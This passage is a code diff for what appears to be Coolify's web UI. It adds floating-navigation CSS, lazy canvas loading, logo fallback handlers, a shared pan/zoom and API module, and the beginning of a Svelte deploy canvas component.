0 / 0.08) !important; + } +} + +/* Canvases at full zoom: the grid dots turn into small Coolify logos, one + per 20px tile. setCanvasDots() (environment-canvas.js) sets .canvas-zoom-max. */ +.canvas-zoom-max { + --canvas-dots-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 20 20'%3E%3Cpath transform='translate(8 8) scale(0.0125)' d='M64 256H0V64h64Zm0-192V0h256v64Zm0 192h256v64H64Z' fill='rgb(0 0 0 / 0.13)'/%3E%3C/svg%3E"); +} + +html.dark .canvas-zoom-max { + --canvas-dots-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 20 20'%3E%3Cpath transform='translate(8 8) scale(0.0125)' d='M64 256H0V64h64Zm0-192V0h256v64Zm0 192h256v64H64Z' fill='rgb(255 255 255 / 0.09)'/%3E%3C/svg%3E"); +} + +.canvas-zoom-max :is([data-ec-viewport], .cv-viewport) { + background-image: var(--canvas-dots-image); +} + +/* "Floating" navigation (Appearance → Navigation style): the top bar, sidebar, + tab strip, and settings rail float as framed panels over a dotted backdrop, + like the canvas islands. Set on by applyStoredTheme() from + localStorage.navStyle; the default style keeps edge-to-edge bars. */ +@media (min-width: 1024px) { + html[data-nav-style="floating"] { + --floating-gap: 0.5rem; + /* Same radius as the content cards (.application-settings-section). */ + --floating-radius: 8px; + --floating-line: oklch(0% 0 0 / 0.09); + /* Bottom edge of the top bar panel plus one gap. */ + --floating-top: calc(3rem + var(--floating-gap) * 2); + } + + html.dark[data-nav-style="floating"] { + --floating-line: oklch(100% 0 0 / 0.08); + --floating-dot: rgb(255 255 255 / 0.09); + } + + /* Dotted backdrop behind the floating panels and in the gaps between them, + like the canvas stage. Fixed so the dots stay still while content scrolls. */ + html[data-nav-style="floating"] .app-shell { + background-image: radial-gradient(circle, var(--floating-dot, rgb(0 0 0 / 0.13)) 1px, transparent 1.3px); + background-size: 20px 20px; + background-attachment: fixed; + } + + html[data-nav-style="floating"] .app-main { + background-color: transparent; + } + + html[data-nav-style="floating"] .app-topbar { + background-color: #fff; + } + + html.dark[data-nav-style="floating"] .app-topbar { + background-color: var(--color-panel); + } + + html[data-nav-style="floating"] :is(.app-topbar, .app-sidebar > div > nav, .app-tabbar) { + border: 1px solid var(--floating-line); + border-radius: var(--floating-radius); + } + + /* The top bar hugs its content (brand, breadcrumb, docked actions) + instead of spanning an empty full-width panel. */ + html[data-nav-style="floating"] .app-topbar { + top: var(--floating-gap); + left: var(--floating-gap); + right: auto; + max-width: calc(100vw - var(--floating-gap) * 2); + } + + /* The bar is opaque here, so it needs no blur. Without the backdrop filter + the bar is no longer the containing block for fixed children, which lets + the resource actions panel below sit against the screen edge. */ + html[data-nav-style="floating"] .app-topbar { + backdrop-filter: none; + } + + /* The panel border replaces the inner dividers of the top bar. */ + html[data-nav-style="floating"] .app-topbar > div { + border-bottom-width: 0; + } + + html[data-nav-style="floating"] .app-sidebar { + top: var(--floating-top); + bottom: var(--floating-gap); + left: var(--floating-gap); + } + + html[data-nav-style="floating"] .app-sidebar > div > nav > .sticky { + border-radius: 0 0 var(--floating-radius) var(--floating-radius); + } + + html[data-nav-style="floating"] .app-main { + margin-left: calc(var(--sidebar-w, 14rem) + var(--floating-gap)); + /* The content top lines up with the sidebar and settings rail panels. */ + padding-top: var(--floating-top); + } + + /* Full-bleed pages (canvases): no top padding gap, and the same gap as the panels. */ + html[data-nav-style="floating"] .app-main.app-main-full { + margin-left: calc(var(--sidebar-w, 14rem) + var(--floating-gap) * 2); + padding: var(--floating-top) var(--floating-gap) var(--floating-gap) 0; + } + + /* Canvases fill the space under the top bar too, and the canvas root + paints the canvas dots (set by the canvas JS) behind the top bar, so + the dots are the same there and on the canvas. */ + html[data-nav-style="floating"] .app-main.app-main-full:has(:is([data-ec-root], .cv-root)) { + padding-top: 0; + } + + /* The resource canvases fill the whole screen behind the floating panels + (top bar, toolbar, sidebar), so the panels do not cut off the cards. */ + html[data-nav-style="floating"] .app-main.app-main-full:has([data-ec-root]) { + margin-left: 0; + padding: 0; + } + + html[data-nav-style="floating"] .app-main-full [data-ec-root] { + padding: 0 !important; + } + + html[data-nav-style="floating"] .app-main-full :is([data-ec-root], .cv-root) { + padding-top: calc(var(--floating-top) + 0.5rem); + background-image: var(--canvas-dots-image, radial-gradient(circle, var(--floating-dot, rgb(0 0 0 / 0.13)) 1px, transparent 1px)); + background-size: var(--canvas-dots-size, 20px 20px); + background-position: var(--canvas-dots-position, 0 0); + } + + /* The deploy canvas Steps panel starts at the same height as the sidebar. */ + html[data-nav-style="floating"] .app-main-full .cv-root { + padding-top: var(--floating-top); + } + + html[data-nav-style="floating"] .app-main-full :is([data-ec-viewport], .cv-viewport) { + background-image: none; + } + + /* Full page width: the content is one gap from the sidebar and the screen edge. */ + html[data-nav-style="floating"] .app-main.app-main-wide { + padding-right: var(--floating-gap); + padding-left: var(--floating-gap); + padding-bottom: var(--floating-gap); + } + + html[data-nav-style="floating"] .app-tabbar { + top: var(--floating-top); + left: calc(var(--sidebar-w, 14rem) + var(--floating-gap) * 2); + right: var(--floating-gap); + } +} + +@media (min-width: 1280px) { + /* Resource actions (Links, Deploy, …) float as their own panel at the top + right. The top bar panel stops one gap before it (the header publishes + --resource-actions-w). */ + html[data-nav-style="floating"] #resource-action-hud-slot:not(:empty) { + position: fixed; + top: var(--floating-gap); + right: var(--floating-gap); + height: 3rem; + padding: 0 0.5rem; + border: 1px solid var(--floating-line); + border-radius: var(--floating-radius); + background-color: #fff; + } + + html.dark[data-nav-style="floating"] #resource-action-hud-slot:not(:empty) { + background-color: var(--color-panel); + } + + html[data-nav-style="floating"] .app-topbar:has(#resource-action-hud-slot:not(:empty)) { + max-width: calc(100vw - var(--floating-gap) * 3 - var(--resource-actions-w, 0px)); + } + + html[data-nav-style="floating"] .application-settings-navigation { + top: var(--floating-top); + left: calc(var(--sidebar-w, 14rem) + var(--floating-gap) * 2); + /* Hug the menu items; long menus scroll inside the viewport. */ + height: auto; + max-height: calc(100dvh - var(--floating-top) - var(--floating-gap)); + border: 1px solid var(--floating-line); + border-radius: var(--floating-radius); + } + + /* Full page width: the content starts one gap after the settings rail. */ + html[data-nav-style="floating"] .app-main-wide :has(> .application-settings-navigation) { + grid-template-columns: calc(210px + 2.5rem) minmax(0, 1fr); + column-gap: var(--floating-gap); + } + + /* The canvas fills the screen behind the rail too; the canvas JS keeps cards clear of it. */ + html[data-nav-style="floating"] .app-main-full .application-settings-navigation ~ [data-environment-canvas] { + margin-left: 0; + } +} + +/* Floating dark mode: the dotted backdrop shows through see-through surfaces + (dark:bg-white/[x] with or without `!`, .button, …). Give the outermost ones the same color as + an opaque mix with the app background, like the canvas cards. Nested + surfaces keep their tint on top, also inside opaque CSS-class panels + (settings sections, boxes, tables, …) that are not app-colored. Generated from the dark:bg-white|black/x + utilities used in resources/views and resources/js; in the utilities layer + with !important so it beats the !bg-* utilities. */ +@layer utilities { + html.dark[data-nav-style="floating"] .app-main [class*="dark:bg-black/10"]:not(:is([class*="dark:bg-"]:not(.app-main), .button, .view-toggle, .application-settings-section, .box, .coolbox, .data-table, .resource-view, .empty-state, .loading-state-card, .runtime-log-shell, .logs-viewer) *) { background-color: color-mix(in oklab, #000 10%, var(--color-app)) !important; } + html.dark[data-nav-style="floating"] .app-main [class*="dark:bg-black/15"]:not(:is([class*="dark:bg-"]:not(.app-main), .button, .view-toggle, .application-settings-section, .box, .coolbox, .data-table, .resource-view, .empty-state, .loading-state-card, .runtime-log-shell, .logs-viewer) *) { background-color: color-mix(in oklab, #000 15%, var(--color-app)) !important; } + html.dark[data-nav-style="floating"] .app-main [class*="dark:bg-black/20"]:not(:is([class*="dark:bg-"]:not(.app-main), .button, .view-toggle, .application-settings-section, .box, .coolbox, .data-table, .resource-view, .empty-state, .loading-state-card, .runtime-log-shell, .logs-viewer) *) { background-color: color-mix(in oklab, #000 20%, var(--color-app)) !important; } + html.dark[data-nav-style="floating"] .app-main [class*="dark:bg-black/30"]:not(:is([class*="dark:bg-"]:not(.app-main), .button, .view-toggle, .application-settings-section, .box, .coolbox, .data-table, .resource-view, .empty-state, .loading-state-card, .runtime-log-shell, .logs-viewer) *) { background-color: color-mix(in oklab, #000 30%, var(--color-app)) !important; } + html.dark[data-nav-style="floating"] .app-main [class*="dark:bg-black/40"]:not(:is([class*="dark:bg-"]:not(.app-main), .button, .view-toggle, .application-settings-section, .box, .coolbox, .data-table, .resource-view, .empty-state, .loading-state-card, .runtime-log-shell, .logs-viewer) *) { background-color: color-mix(in oklab, #000 40%, var(--color-app)) !important; } + html.dark[data-nav-style="floating"] .app-main [class*="dark:bg-black/55"]:not(:is([class*="dark:bg-"]:not(.app-main), .button, .view-toggle, .application-settings-section, .box, .coolbox, .data-table, .resource-view, .empty-state, .loading-state-card, .runtime-log-shell, .logs-viewer) *) { background-color: color-mix(in oklab, #000 55%, var(--color-app)) !important; } + html.dark[data-nav-style="floating"] .app-main [class*="dark:bg-black/60"]:not(:is([class*="dark:bg-"]:not(.app-main), .button, .view-toggle, .application-settings-section, .box, .coolbox, .data-table, .resource-view, .empty-state, .loading-state-card, .runtime-log-shell, .logs-viewer) *) { background-color: color-mix(in oklab, #000 60%, var(--color-app)) !important; } + html.dark[data-nav-style="floating"] .app-main [class*="dark:bg-white/10"]:not(:is([class*="dark:bg-"]:not(.app-main), .button, .view-toggle, .application-settings-section, .box, .coolbox, .data-table, .resource-view, .empty-state, .loading-state-card, .runtime-log-shell, .logs-viewer) *) { background-color: color-mix(in oklab, #fff 10%, var(--color-app)) !important; } + html.dark[data-nav-style="floating"] .app-main [class*="dark:bg-white/40"]:not(:is([class*="dark:bg-"]:not(.app-main), .button, .view-toggle, .application-settings-section, .box, .coolbox, .data-table, .resource-view, .empty-state, .loading-state-card, .runtime-log-shell, .logs-viewer) *) { background-color: color-mix(in oklab, #fff 40%, var(--color-app)) !important; } + html.dark[data-nav-style="floating"] .app-main [class*="dark:bg-white/[0.025]"]:not(:is([class*="dark:bg-"]:not(.app-main), .button, .view-toggle, .application-settings-section, .box, .coolbox, .data-table, .resource-view, .empty-state, .loading-state-card, .runtime-log-shell, .logs-viewer) *) { background-color: color-mix(in oklab, #fff 2.5%, var(--color-app)) !important; } + html.dark[data-nav-style="floating"] .app-main [class*="dark:bg-white/[0.02]"]:not(:is([class*="dark:bg-"]:not(.app-main), .button, .view-toggle, .application-settings-section, .box, .coolbox, .data-table, .resource-view, .empty-state, .loading-state-card, .runtime-log-shell, .logs-viewer) *) { background-color: color-mix(in oklab, #fff 2%, var(--color-app)) !important; } + html.dark[data-nav-style="floating"] .app-main [class*="dark:bg-white/[0.035]"]:not(:is([class*="dark:bg-"]:not(.app-main), .button, .view-toggle, .application-settings-section, .box, .coolbox, .data-table, .resource-view, .empty-state, .loading-state-card, .runtime-log-shell, .logs-viewer) *) { background-color: color-mix(in oklab, #fff 3.5%, var(--color-app)) !important; } + html.dark[data-nav-style="floating"] .app-main [class*="dark:bg-white/[0.03]"]:not(:is([class*="dark:bg-"]:not(.app-main), .button, .view-toggle, .application-settings-section, .box, .coolbox, .data-table, .resource-view, .empty-state, .loading-state-card, .runtime-log-shell, .logs-viewer) *) { background-color: color-mix(in oklab, #fff 3%, var(--color-app)) !important; } + html.dark[data-nav-style="floating"] .app-main [class*="dark:bg-white/[0.045]"]:not(:is([class*="dark:bg-"]:not(.app-main), .button, .view-toggle, .application-settings-section, .box, .coolbox, .data-table, .resource-view, .empty-state, .loading-state-card, .runtime-log-shell, .logs-viewer) *) { background-color: color-mix(in oklab, #fff 4.5%, var(--color-app)) !important; } + html.dark[data-nav-style="floating"] .app-main [class*="dark:bg-white/[0.04]"]:not(:is([class*="dark:bg-"]:not(.app-main), .button, .view-toggle, .application-settings-section, .box, .coolbox, .data-table, .resource-view, .empty-state, .loading-state-card, .runtime-log-shell, .logs-viewer) *) { background-color: color-mix(in oklab, #fff 4%, var(--color-app)) !important; } + html.dark[data-nav-style="floating"] .app-main [class*="dark:bg-white/[0.05]"]:not(:is([class*="dark:bg-"]:not(.app-main), .button, .view-toggle, .application-settings-section, .box, .coolbox, .data-table, .resource-view, .empty-state, .loading-state-card, .runtime-log-shell, .logs-viewer) *) { background-color: color-mix(in oklab, #fff 5%, var(--color-app)) !important; } + html.dark[data-nav-style="floating"] .app-main [class*="dark:bg-white/[0.06]"]:not(:is([class*="dark:bg-"]:not(.app-main), .button, .view-toggle, .application-settings-section, .box, .coolbox, .data-table, .resource-view, .empty-state, .loading-state-card, .runtime-log-shell, .logs-viewer) *) { background-color: color-mix(in oklab, #fff 6%, var(--color-app)) !important; } + html.dark[data-nav-style="floating"] .app-main [class*="dark:bg-white/[0.07]"]:not(:is([class*="dark:bg-"]:not(.app-main), .button, .view-toggle, .application-settings-section, .box, .coolbox, .data-table, .resource-view, .empty-state, .loading-state-card, .runtime-log-shell, .logs-viewer) *) { background-color: color-mix(in oklab, #fff 7%, var(--color-app)) !important; } + html.dark[data-nav-style="floating"] .app-main [class*="dark:bg-white/[0.08]"]:not(:is([class*="dark:bg-"]:not(.app-main), .button, .view-toggle, .application-settings-section, .box, .coolbox, .data-table, .resource-view, .empty-state, .loading-state-card, .runtime-log-shell, .logs-viewer) *) { background-color: color-mix(in oklab, #fff 8%, var(--color-app)) !important; } + html.dark[data-nav-style="floating"] .app-main [class*="dark:bg-white/[0.09]"]:not(:is([class*="dark:bg-"]:not(.app-main), .button, .view-toggle, .application-settings-section, .box, .coolbox, .data-table, .resource-view, .empty-state, .loading-state-card, .runtime-log-shell, .logs-viewer) *) { background-color: color-mix(in oklab, #fff 9%, var(--color-app)) !important; } + html.dark[data-nav-style="floating"] .app-main [class*="dark:bg-white/[0.14]"]:not(:is([class*="dark:bg-"]:not(.app-main), .button, .view-toggle, .application-settings-section, .box, .coolbox, .data-table, .resource-view, .empty-state, .loading-state-card, .runtime-log-shell, .logs-viewer) *) { background-color: color-mix(in oklab, #fff 14%, var(--color-app)) !important; } + html.dark[data-nav-style="floating"] .app-main [class*="dark:bg-white/[0.1]"]:not(:is([class*="dark:bg-"]:not(.app-main), .button, .view-toggle, .application-settings-section, .box, .coolbox, .data-table, .resource-view, .empty-state, .loading-state-card, .runtime-log-shell, .logs-viewer) *) { background-color: color-mix(in oklab, #fff 10%, var(--color-app)) !important; } + html.dark[data-nav-style="floating"] .app-main :is(.button, .view-toggle):not(:is([class*="dark:bg-"]:not(.app-main), .button, .view-toggle, .application-settings-section, .box, .coolbox, .data-table, .resource-view, .empty-state, .loading-state-card, .runtime-log-shell, .logs-viewer) *) { background-color: color-mix(in oklab, #fff 6%, var(--color-app)) !important; } + html.dark[data-nav-style="floating"] .app-main [class*="dark:hover:bg-white/10"]:not(:is([class*="dark:bg-"]:not(.app-main), .button, .view-toggle, .application-settings-section, .box, .coolbox, .data-table, .resource-view, .empty-state, .loading-state-card, .runtime-log-shell, .logs-viewer) *):hover { background-color: color-mix(in oklab, #fff 10%, var(--color-app)) !important; } + html.dark[data-nav-style="floating"] .app-main [class*="dark:hover:bg-white/[0.025]"]:not(:is([class*="dark:bg-"]:not(.app-main), .button, .view-toggle, .application-settings-section, .box, .coolbox, .data-table, .resource-view, .empty-state, .loading-state-card, .runtime-log-shell, .logs-viewer) *):hover { background-color: color-mix(in oklab, #fff 2.5%, var(--color-app)) !important; } + html.dark[data-nav-style="floating"] .app-main [class*="dark:hover:bg-white/[0.035]"]:not(:is([class*="dark:bg-"]:not(.app-main), .button, .view-toggle, .application-settings-section, .box, .coolbox, .data-table, .resource-view, .empty-state, .loading-state-card, .runtime-log-shell, .logs-viewer) *):hover { background-color: color-mix(in oklab, #fff 3.5%, var(--color-app)) !important; } + html.dark[data-nav-style="floating"] .app-main [class*="dark:hover:bg-white/[0.03]"]:not(:is([class*="dark:bg-"]:not(.app-main), .button, .view-toggle, .application-settings-section, .box, .coolbox, .data-table, .resource-view, .empty-state, .loading-state-card, .runtime-log-shell, .logs-viewer) *):hover { background-color: color-mix(in oklab, #fff 3%, var(--color-app)) !important; } + html.dark[data-nav-style="floating"] .app-main [class*="dark:hover:bg-white/[0.04]"]:not(:is([class*="dark:bg-"]:not(.app-main), .button, .view-toggle, .application-settings-section, .box, .coolbox, .data-table, .resource-view, .empty-state, .loading-state-card, .runtime-log-shell, .logs-viewer) *):hover { background-color: color-mix(in oklab, #fff 4%, var(--color-app)) !important; } + html.dark[data-nav-style="floating"] .app-main [class*="dark:hover:bg-white/[0.05]"]:not(:is([class*="dark:bg-"]:not(.app-main), .button, .view-toggle, .application-settings-section, .box, .coolbox, .data-table, .resource-view, .empty-state, .loading-state-card, .runtime-log-shell, .logs-viewer) *):hover { background-color: color-mix(in oklab, #fff 5%, var(--color-app)) !important; } + html.dark[data-nav-style="floating"] .app-main [class*="dark:hover:bg-white/[0.06]"]:not(:is([class*="dark:bg-"]:not(.app-main), .button, .view-toggle, .application-settings-section, .box, .coolbox, .data-table, .resource-view, .empty-state, .loading-state-card, .runtime-log-shell, .logs-viewer) *):hover { background-color: color-mix(in oklab, #fff 6%, var(--color-app)) !important; } + html.dark[data-nav-style="floating"] .app-main [class*="dark:hover:bg-white/[0.07]"]:not(:is([class*="dark:bg-"]:not(.app-main), .button, .view-toggle, .application-settings-section, .box, .coolbox, .data-table, .resource-view, .empty-state, .loading-state-card, .runtime-log-shell, .logs-viewer) *):hover { background-color: color-mix(in oklab, #fff 7%, var(--color-app)) !important; } + html.dark[data-nav-style="floating"] .app-main [class*="dark:hover:bg-white/[0.08]"]:not(:is([class*="dark:bg-"]:not(.app-main), .button, .view-toggle, .application-settings-section, .box, .coolbox, .data-table, .resource-view, .empty-state, .loading-state-card, .runtime-log-shell, .logs-viewer) *):hover { background-color: color-mix(in oklab, #fff 8%, var(--color-app)) !important; } + html.dark[data-nav-style="floating"] .app-main [class*="dark:hover:bg-white/[0.12]"]:not(:is([class*="dark:bg-"]:not(.app-main), .button, .view-toggle, .application-settings-section, .box, .coolbox, .data-table, .resource-view, .empty-state, .loading-state-card, .runtime-log-shell, .logs-viewer) *):hover { background-color: color-mix(in oklab, #fff 12%, var(--color-app)) !important; } + html.dark[data-nav-style="floating"] .app-main [class*="dark:hover:bg-white/[0.1]"]:not(:is([class*="dark:bg-"]:not(.app-main), .button, .view-toggle, .application-settings-section, .box, .coolbox, .data-table, .resource-view, .empty-state, .loading-state-card, .runtime-log-shell, .logs-viewer) *):hover { background-color: color-mix(in oklab, #fff 10%, var(--color-app)) !important; } + html.dark[data-nav-style="floating"] .app-main .button:not(:disabled):not(:is([class*="dark:bg-"]:not(.app-main), .button, .view-toggle, .application-settings-section, .box, .coolbox, .data-table, .resource-view, .empty-state, .loading-state-card, .runtime-log-shell, .logs-viewer) *):hover { background-color: color-mix(in oklab, #fff 10%, var(--color-app)) !important; } +} diff --git a/resources/js/app.js b/resources/js/app.js index dde95415a6..af249856ad 100644 --- a/resources/js/app.js +++ b/resources/js/app.js @@ -7,6 +7,26 @@ import { registerLivewireRequestFailureHandler } from './livewire-request-failur import { registerLivewireUpdateDedupe } from './livewire-update-dedupe.js'; import { parseSubmitAction } from './modal-confirmation.js'; +// The canvases (Svelte, Svelte Flow) load only on pages that have one. After the +// import, each canvas mounts itself, also after later Livewire SPA navigation. +const canvases = [ + { selector: '[data-deploy-canvas]', load: () => import('./canvas/deploy/index.js').then((m) => m.initializeDeployCanvas()) }, + { selector: '[data-environment-canvas]', load: () => import('./canvas/environment/index.js').then((m) => m.initializeEnvironmentCanvas()) }, +]; +const loadCanvases = () => { + for (const canvas of canvases) { + if (!canvas.loading && document.querySelector(canvas.selector)) { + canvas.loading = canvas.load(); + } + } +}; +if (document.readyState === 'loading') { + document.addEventListener('DOMContentLoaded', loadCanvases); +} else { + loadCanvases(); +} +document.addEventListener('livewire:navigated', loadCanvases); + // Used by the modal-confirmation Blade component to call its submitAction. window.parseModalSubmitAction = parseSubmitAction; @@ -38,6 +58,29 @@ document.addEventListener('alpine:init', initializeSettingsSidebarAccordionCompo * * @param {string|HTMLElement} target Section id or element */ +/** A resource favicon loaded: show it in place of the logo. */ +window.resourceLogoLoaded = function resourceLogoLoaded(img) { + img.closest('[data-resource-logo]')?.querySelector('[data-resource-logo-image]')?.setAttribute('hidden', ''); + img.removeAttribute('hidden'); +}; + +/** A resource logo failed to load: drop a favicon, try the fallback URL of a logo, then show the resource type icon instead. */ +window.resourceLogoError = function resourceLogoError(img) { + if (img.hasAttribute('data-resource-logo-favicon')) { + img.remove(); + return; + } + if (img.dataset.fallback && img.src !== img.dataset.fallback) { + img.src = img.dataset.fallback; + return; + } + const wrapper = img.closest('[data-resource-logo]'); + wrapper?.querySelector('[data-resource-logo-image]')?.setAttribute('hidden', ''); + if (!wrapper?.querySelector('[data-resource-logo-favicon]:not([hidden])')) { + wrapper?.querySelector('[data-resource-logo-icon]')?.removeAttribute('hidden'); + } +}; + window.scrollToSettingsSection = function scrollToSettingsSection(target) { const el = typeof target === 'string' ? document.getElementById(target) : target; if (!el) { diff --git a/resources/js/canvas-core.js b/resources/js/canvas-core.js new file mode 100644 index 0000000000..41d6c26f23 --- /dev/null +++ b/resources/js/canvas-core.js @@ -0,0 +1,246 @@ +// Shared canvas core: API calls, pan/zoom and page mounting for the deploy +// canvas and the environment canvas (Svelte components in resources/js/canvas/). +// +// The top level stays DOM-free: `node --test` imports the canvases. + +export const MIN_ZOOM = 0.25; +export const MAX_ZOOM = 2; + +// ── Collisions ──────────────────────────────────────────────────────── + +/** Space that cards and frames keep between them. */ +export const BOX_GAP = 16; + +/** True when boxes `a` and `b` ({ x, y, w, h }) are at least `gap` apart. */ +export const apart = (a, b, gap = BOX_GAP) => a.x >= b.x + b.w + gap || a.x + a.w + gap <= b.x || a.y >= b.y + b.h + gap || a.y + a.h + gap <= b.y; + +/** + * The free spot nearest to `box` ({ x, y, w, h }) that keeps `gap` clear of + * every box in `others` (and passes `fits`, when given): the box itself, or it + * pushed against an edge (or a corner) of the boxes in the way. Null when no + * such spot is found. + */ +export function freeSpot(box, others, gap = BOX_GAP, fits = () => true) { + const free = b => others.every(o => apart(b, o, gap)) && fits(b); + if (free(box)) return box; + const xs = [box.x, ...others.flatMap(o => [o.x - box.w - gap, o.x + o.w + gap])]; + const ys = [box.y, ...others.flatMap(o => [o.y - box.h - gap, o.y + o.h + gap])]; + let best = null; + let bestDistance = Infinity; + for (const x of xs) { + for (const y of ys) { + const distance = Math.hypot(x - box.x, y - box.y); + if (distance < bestDistance && free({ ...box, x, y })) { + best = { ...box, x, y }; + bestDistance = distance; + } + } + } + return best; +} + +// ── API (Coolify's API controllers at /canvas/api, browser session) ─── + +/** The team of the open canvas page (data-team), fixed when the page was opened. */ +function canvasTeam() { + return document.querySelector('[data-environment-canvas], [data-deploy-canvas]')?.dataset.team || ''; +} + +export class ApiError extends Error { + constructor(status, body) { + const errors = body?.errors ? Object.values(body.errors).flat().map(String) : []; + super([body?.message || `Request failed (HTTP ${status}).`, ...errors.filter(e => e !== body?.message)].join(' ')); + this.status = status; + this.body = body; + } +} + +export async function api(method, path, body, options = {}) { + const response = await fetch(`/canvas/api${path}`, { + method, + credentials: 'same-origin', + keepalive: !!options.keepalive, + headers: { + Accept: 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'X-CSRF-TOKEN': document.querySelector('meta[name="csrf-token"]')?.content || '', + 'X-Canvas-Team': canvasTeam(), + ...(body ? { 'Content-Type': 'application/json' } : {}), + }, + body: body ? JSON.stringify(body) : undefined, + }); + let data = null; + try { + data = await response.json(); + } catch { + // Empty body. + } + if (!response.ok) throw new ApiError(response.status, data); + return data; +} + +// ── Pan and zoom ────────────────────────────────────────────────────── + +/** Viewport position inside the root, so the root's dots (floating nav, see app.css) line up with the viewport's. */ +export function canvasDotsOffset(root, viewport) { + const r = root.getBoundingClientRect(); + const v = viewport.getBoundingClientRect(); + return { x: v.left - r.left, y: v.top - r.top }; +} + +export function setCanvasDots(root, size, x, y, atMaxZoom = false) { + root.style.setProperty('--canvas-dots-size', `${size}px ${size}px`); + root.style.setProperty('--canvas-dots-position', `${x}px ${y}px`); + // Fully zoomed in: the grid dots turn into small Coolify logos (app.css). + root.classList.toggle('canvas-zoom-max', atMaxZoom); +} + +/** + * Wheel zoom (ctrl/cmd) and pan, and drag-to-pan on the viewport background. + * getView() returns the current { x, y, z }, which is changed in place. + * canPan(event) decides which presses pan; onPanEnd(moved) runs on release. + */ +export function panZoom({ root, viewport, world, zoomLabel, getView, onChange, canPan, onPanStart, onPanEnd }) { + function apply() { + const { x, y, z } = getView(); + const offset = canvasDotsOffset(root, viewport); + world.style.transform = `translate(${x}px, ${y}px) scale(${z})`; + viewport.style.backgroundSize = `${20 * z}px ${20 * z}px`; + viewport.style.backgroundPosition = `${x}px ${y}px`; + setCanvasDots(root, 20 * z, x + offset.x, y + offset.y, z >= MAX_ZOOM); + zoomLabel.textContent = `${Math.round(z * 100)}%`; + onChange?.(); + } + function toWorld(cx, cy) { + const view = getView(); + const r = viewport.getBoundingClientRect(); + return { x: (cx - r.left - view.x) / view.z, y: (cy - r.top - view.y) / view.z }; + } + /** Zooms to z around a screen point (the viewport centre by default). */ + function zoomTo(z, cx, cy) { + const view = getView(); + const r = viewport.getBoundingClientRect(); + const px = cx ?? r.left + r.width / 2; + const py = cy ?? r.top + r.height / 2; + const before = toWorld(px, py); + view.z = Math.min(MAX_ZOOM, Math.max(MIN_ZOOM, z)); + view.x = px - r.left - before.x * view.z; + view.y = py - r.top - before.y * view.z; + apply(); + } + + viewport.addEventListener('wheel', e => { + e.preventDefault(); + const view = getView(); + if (e.ctrlKey || e.metaKey) { + zoomTo(view.z * Math.exp(-e.deltaY * 0.01), e.clientX, e.clientY); + } else { + view.x -= e.deltaX; + view.y -= e.deltaY; + apply(); + } + }, { passive: false }); + // Touch: two fingers pinch to zoom and pan, anywhere on the viewport (also on cards). + // Capture phase on the viewport, so the pinch fingers do not also move cards or pan with one finger. + const touches = new Map(); + const pinchFingers = new Set(); + let pinch = null; + const pinchState = () => { + const [a, b] = [...touches.values()]; + return { cx: (a.x + b.x) / 2, cy: (a.y + b.y) / 2, d: Math.max(1, Math.hypot(a.x - b.x, a.y - b.y)) }; + }; + viewport.addEventListener('pointerdown', e => { + if (e.pointerType !== 'touch') return; + touches.set(e.pointerId, { x: e.clientX, y: e.clientY }); + if (touches.size !== 2) return; + for (const id of touches.keys()) pinchFingers.add(id); + const start = pinchState(); + pinch = { ...start, z: getView().z, ...toWorld(start.cx, start.cy) }; + onPanStart?.(); + e.stopImmediatePropagation(); + }, true); + viewport.addEventListener('pointermove', e => { + if (!touches.has(e.pointerId)) return; + touches.set(e.pointerId, { x: e.clientX, y: e.clientY }); + if (!pinchFingers.has(e.pointerId)) return; + // Pinch fingers stay out of card drags and one-finger pans until they lift. + // Immediate: a one-finger pan listens on the viewport itself (capture listeners run first there). + e.stopImmediatePropagation(); + if (!pinch || touches.size < 2) return; + const now = pinchState(); + const view = getView(); + const r = viewport.getBoundingClientRect(); + view.z = Math.min(MAX_ZOOM, Math.max(MIN_ZOOM, pinch.z * now.d / pinch.d)); + view.x = now.cx - r.left - pinch.x * view.z; + view.y = now.cy - r.top - pinch.y * view.z; + apply(); + }, true); + // The release still reaches the drag that the first finger started, so that drag ends. + const liftFinger = e => { + touches.delete(e.pointerId); + pinchFingers.delete(e.pointerId); + if (touches.size < 2) pinch = null; + }; + viewport.addEventListener('pointerup', liftFinger, true); + viewport.addEventListener('pointercancel', liftFinger, true); + + viewport.addEventListener('pointerdown', e => { + if (e.button !== 0 || pinch || !canPan(e)) return; + onPanStart?.(); + const view = getView(); + const start = { cx: e.clientX, cy: e.clientY, x: view.x, y: view.y }; + let moved = false; + try { + viewport.setPointerCapture(e.pointerId); + } catch { + // Synthetic or already released pointer. + } + viewport.classList.add('panning'); + const move = ev => { + if (!moved && Math.hypot(ev.clientX - start.cx, ev.clientY - start.cy) < 4) return; + moved = true; + view.x = start.x + ev.clientX - start.cx; + view.y = start.y + ev.clientY - start.cy; + apply(); + }; + const up = () => { + viewport.classList.remove('panning'); + viewport.removeEventListener('pointermove', move); + viewport.removeEventListener('pointerup', up); + viewport.removeEventListener('pointercancel', up); + onPanEnd?.(moved); + }; + viewport.addEventListener('pointermove', move); + viewport.addEventListener('pointerup', up); + viewport.addEventListener('pointercancel', up); + }); + + return { apply, toWorld, zoomTo }; +} + +// ── Page mount (initial load and Livewire SPA navigation) ───────────── + +/** + * Mounts a canvas into the page's container unless it already holds the canvas root. + * mount(container) may return { root, unmount }, unmounted once its root leaves the page. + */ +export function mountOnPage(selector, rootSelector, mount) { + if (typeof document === 'undefined') return; + let active = null; + const run = () => { + if (active && !active.root.isConnected) { + active.unmount(); + active = null; + } + const container = document.querySelector(selector); + if (!container || container.querySelector(rootSelector)) return; + active?.unmount(); + active = mount(container) || null; + }; + if (document.readyState === 'loading') { + document.addEventListener('DOMContentLoaded', run); + } else { + run(); + } + document.addEventListener('livewire:navigated', run); +} diff --git a/resources/js/canvas/deploy/DeployCanvas.svelte b/resources/js/canvas/deploy/DeployCanvas.svelte new file mode 100644 index 0000000000..72804b6c50 --- /dev/null +++ b/resources/js/canvas/deploy/DeployCanvas.svelte @@ -0,0 +1,165 @@ + + +
+ +
+
+ {#if cv.target} + + + {/if} + Deploy canvas + Beta +
+
+ +
+ + + + +
+ + +
+
+ + {#if noticeOpen} +
+ +

The canvas is not optimized for mobile yet. It works best on a larger screen.{#if cv.target}{' On a phone, use the '}New resource page.{/if}

+ +
+ {/if} + + + +
+
zoomLabel}> +
+ + {#each cv.flow.nodes as n (n.id)} + + {/each} + {#if resultNode} + +
